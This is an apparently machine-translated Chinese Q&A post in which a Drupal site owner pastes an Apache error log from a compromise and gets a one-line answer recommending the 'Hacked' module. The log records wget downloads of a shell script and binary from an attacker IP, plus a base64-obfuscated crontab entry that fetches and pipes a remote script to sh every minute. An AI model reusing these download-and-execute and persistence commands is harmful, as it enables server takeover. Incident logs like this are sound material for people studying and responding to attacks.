Drupla网站被黑

时间:2018-11-15 08:46:12

标签: drupal port80

apache服务器error_log:

-2018-11-14 22:13:39-- http://164.132.159.56/drupal/zps.sh 正在连接至164.132.159.56:80 ... HTTP请求已发送,正在等待响应... 200 OK 长度:589 [text / x-sh] 保存到:“ STDOUT”

 0K                                                       100%  101M=0s

2018-11-14 22:13:40(101 MB / s)-写入标准输出[589/589]

rm:无法删除“ / var / tmp / yum-ec2-user-_j9uM3”:不允许操作 rm:拒绝删除“。”或“ ..”目录:跳过“ / var / tmp /”。 rm:拒绝删除“。”或“ ..”目录:跳过“ / var / tmp / ..” --2018-11-14 22:13:40-- http://164.132.159.56/drupal/2/olo 正在连接至164.132.159.56:80 ... HTTP请求已发送,正在等待响应... 200 OK 长度:33880(33K) 保存到:'/ var / tmp / lew'

 0K .......... .......... .......... ...                  100%  286K=0.1s

2018-11-14 22:13:40(286 KB / s)-保存了'/ var / tmp / lew'[33880/33880]

%总接收百分比%Xferd平均速度时间时间时间当前                                  Dload上传总花费左速度 ^ M 0 0 0 0 0 0 0 0-:-:---:-:--:-:-0 ^ M100 33880 100 33880 0 0 96119 0-:-: --:-:--:-:-96250 e:没有这样的文件或目录 e:没有这样的文件或目录 e:没有这样的文件或目录

e:没有这样的文件或目录 e:没有这样的文件或目录 e:没有这样的文件或目录 e:没有这样的文件或目录 e:没有这样的文件或目录 e:没有这样的文件或目录 sh:第1行:22417完成echo'* * * * * echo -n“ d2dldCAtTyAtIGh0dHA6Ly8xNjQuMTMyLjE1OS41Ni9kcnVwYWwvei5zaHxzaA ==” | base64 -d | sh> / dev / null'      22418被杀死| crontab- e:没有这样的文件或目录 e:没有这样的文件或目录 e:没有这样的文件或目录 e:没有这样的文件或目录

请告诉解决方法。

1 个答案:

答案 0 :(得分:0)

为您的网站使用被黑客入侵的模块(https://www.drupal.org/project/hacked)。 它会为您报告最近更改的所有文件。

您可以删除这些文件或解决其编码。